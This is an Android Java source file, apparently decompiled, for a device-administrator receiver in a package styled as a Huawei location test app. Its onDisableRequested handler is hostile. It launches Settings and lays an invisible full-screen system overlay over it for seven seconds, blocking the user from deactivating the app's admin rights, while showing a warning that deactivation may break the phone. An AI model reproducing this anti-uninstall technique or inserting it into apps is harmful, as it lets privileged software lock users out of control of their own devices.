package com.huawei.testcloud.location;

import android.app.admin.DeviceAdminReceiver;
import android.content.Context;
import android.content.Intent;
import android.graphics.PixelFormat;
import android.view.Gravity;
import android.view.View;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.Toast;

/**
 * Created by hasee-pc on 2017/8/1.
 */

public class MyDeviceAdmin extends DeviceAdminReceiver {
    void showToast(Context context, CharSequence text) {
        Toast.makeText(context, text, Toast.LENGTH_SHORT).show();
    }

    @Override
    public void onEnabled(Context context, Intent intent) {
        showToast(context, "设备管理器已经打开");
    }

    @Override
    public void onDisabled(Context context, Intent intent) {
        showToast(context, "设备管理器已经关闭");
    }

    @Override
    public CharSequence onDisableRequested(Context context, Intent intent) {
        b(context, intent);
        return "谨慎操作！取消激活可能会影响手机正常使用！";
    }

    @Override
    public void onPasswordChanged(Context context, Intent intent) {
        showToast(context, "设备管理：密码己经改?");
    }

    @Override
    public void onPasswordFailed(Context context, Intent intent) {
        showToast(context, "设备管理：改变密码失败");
    }

    @Override
    public void onPasswordSucceeded(Context context, Intent intent) {
        showToast(context, "设备管理：改变密码成功");
    }

    private void a(Context paramContext, Intent paramIntent) {
        paramIntent = paramContext.getPackageManager().getLaunchIntentForPackage("com.android.settings");
        paramIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        paramContext.startActivity(paramIntent);
        int i = 0;
        for (; ; ) {
            if (i >= 4) {
                return;
            }
            try {
                Thread.sleep(3000L);
                i += 1;
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
    }

    private void b(Context context, Intent paramIntent) {
        Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
        intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        context.startActivity(intent1);
        WindowManager.LayoutParams wmParams;
        final WindowManager mWindowManager;
        wmParams = new WindowManager.LayoutParams();
        mWindowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
        wmParams.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
        wmParams.format = PixelFormat.RGBX_8888;
        wmParams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
        wmParams.gravity = Gravity.LEFT | Gravity.TOP;
        wmParams.alpha = 0;
        wmParams.x = 0;
        wmParams.y = 0;
        wmParams.width = WindowManager.LayoutParams.MATCH_PARENT;
        wmParams.height = WindowManager.LayoutParams.MATCH_PARENT;
        final View contentView = new Button(context);
        mWindowManager.addView(contentView, wmParams);
        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    Thread.sleep(7000);
                } catch (InterruptedException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
                mWindowManager.removeView(contentView);
            }
        }).start();

    }
}
